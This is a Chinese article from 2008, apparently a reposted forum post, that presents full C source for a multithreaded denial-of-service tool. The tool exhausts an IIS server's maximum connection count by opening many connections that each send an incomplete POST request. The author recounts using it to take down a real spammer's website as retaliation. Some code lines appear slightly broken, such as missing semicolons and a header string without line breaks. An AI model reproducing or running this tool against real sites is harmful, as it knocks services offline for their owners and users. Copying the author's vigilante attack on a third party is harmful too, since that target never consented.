利用IIS最大连接数测试网站带宽

ZDNet 安全频道频道 更新时间:2008-06-10 作者:佚名 来源:SohuIT

本文关键词:最大连接数 printf IIS

  作者: 佚名,  出处:论坛整理, 责任编辑: 张帅,  2008-06-10 09:11



  现实中,针对个人网站特别是针对一些小型组织的DOS攻击时常发生,为何采用IIS的web服务容易造成攻击呢?本程序仅做为技术交流之用,勿用于非法用途。



  最近买了个空间来玩,各位勿笑,是入门级的虚拟主机(偶是穷人啊),各种参数都相当低,特别是IIS连接数,只有100个(也就是同时支持100个不同的访问)。



  这里就出现问题了。如果我一直对该网站进行连接,虽然我是同一个人,但是IIS却傻乎乎的把每次连接当成不同的人,每连接一次就会分配一个session给我,当连接超过服务器设置的IIS最大连接数目的时候……呵呵,拒绝服务就发生了。



  具体的攻击嘛,我们当然是利用程序来完成。思路简单,就是不断的向网站发HTTP请求,直到超过它的最大连接数。正好机器上有以前看了shotgun的《HTTP协议Content Lenth限制漏洞导致拒绝服务攻击》写的测试程序,跟今天的要求很相似,就拿来改改咯。具体代码如下:



  (VS.net、XP SP1调试通过。编译好的程序可以在本文附件下载)



  #include "winsock.h"



  #include "stdio.h"



  #include "string.h"



  #include "io.h"



  #pragma comment(lib,"ws2_32.lib")



  #define BUFLEN 1024



  #define MAXThreadCount 10 //设置最大线程数



  



  int ThreadCount=0;



  



  struct mydata



  {



  char *ip;



  int port



  };



  



  



  unsigned int resolve(char *name)



  {



  struct hostent *he;



  unsigned int ip;



  



  if((ip=inet_addr(name))==(-1))



  {



  if((he=gethostbyname(name))==0)



  return 0;



  memcpy(&ip,he->h_addr,4);



  }



  return ip;



  }



  



  



  DWORD WINAPI Dos(LPVOID lpParam )



  {



  mydata *csdn = (mydata*)lpParam;



  struct sockaddr_in server



  server.sin_family = AF_INET;



  server.sin_port = htons(csdn->port);



  server.sin_addr.s_addr = resolve((char*)csdn->ip);



  if(server.sin_addr.s_addr==0)



  {



  



  printf("Don’t find address %s ",(char*)csdn->ip);



  exit(0);



  }



  int my;



  char buf[100]="POST / HTTP/1.1 Host: ";



  strcat(buf,(char*)csdn->ip);



  strcat(buf," Content-Length: 10 ");



  my=socket(PF_INET,SOCK_STREAM,0);



  if(my==INVALID_SOCKET)



  {



  printf("ERROR");



  exit(0);



  }



  if(connect(my,(struct sockaddr *) & server,sizeof(server))==SOCKET_ERROR)



  {



  printf("Socket ERROR:%d",GetLastError());



  exit(0);



  }



  if(send(my,buf,strlen(buf),0)==SOCKET_ERROR){printf("ERROR:send fail!");}



  ThreadCount--;



  return 0;



  }



  



  void thread ( char *a1 , char *a2 , char *a3 )



  {



  static mydata tmp;



  tmp.ip = a1;



  tmp.port = atoi(a2);



  



  DWORD dwThreadId;



  HANDLE hThread;



  WSADATA ws;



  if (WSAStartup( MAKEWORD(2,2), &ws )!=0)



  {



  printf(" [-] WSAStartup() error ");



  exit(0);



  }



  hThread = CreateThread(



  NULL, // no security attributes



  0, // use default stack size



  Dos, // thread function



  &tmp, // argument to thread function



  0, // use default creation flags



  &dwThreadId); // returns the thread identifier



  if (hThread == NULL)



  printf( "CreateThread failed." );



  ThreadCount++;



  Sleep(200); //延时,否则CPU会用满……



  CloseHandle(hThread);



  }



  



  int main(int argc, char* argv[])



  {



  int i=0;



  if(argc!=4)



  {



  printf(" IIS MaxConnectionCount DOS by lake2 ,Jul,8,2005 ");



  printf("-Usage: ");



  printf("%s ",argv[0]);



  printf("-Example: %s www.target.com 80 300 ",argv[0]);



  return 0;



  }



  printf("Starting DOS.............Ctrl + C break ");



  while( i < atoi(argv[3]) )



  {



  if( ThreadCount < MAXThreadCount ){ thread(argv[1],argv[2],argv[3]); i++;}



  }



  while( 1 ){ }



  WSACleanup();



  return 0;



  }



  程序为命令行程序,共有三个参数,依次为要攻击的网站域名、端口、连接数。嗯,测试下效果先。



  测试的目标是个人电脑,系统为win2000。IIS管理中把最大连接数设为200,很快网站就不能访问了;增大到500,仍然会被当;800,还是要被当(图)。测试过程中该电脑正在运行魔兽世界,而且一直正常。看来我们的程序只是对付网站,不会央及无辜的啊^_^



  既然如此,那索性试试IIS连接数为无限的情况。程序中的连接参数我填的8000,结果运行途中我的系统没有了缓冲区间,winsock产生10055号错误,程序中止。呵呵,看来这种方法还是只能针对使用虚拟空间的中小网站。



  来实际使用。打开邮箱,随便找封广告垃圾邮件,访问那家伙的网站,然后开始攻击它,对付这种小站连接数就设成300就绰绰有余了。呵呵,很快那网站就不工作了,嘿嘿,这可怪不得我,谁叫他发垃圾邮件在前。好了,测试完毕,通过验收,就不跟他玩了。



  这只是个测试程序,真正要投入到应用还得再完善完善。再说废话一句,要是跟别人没有国仇家恨的话还是不要DOS的好。

安全频道 最大连接数 最新报道

安全频道 printf 最新报道

安全频道 IIS 最新报道

[an error occurred while processing this directive]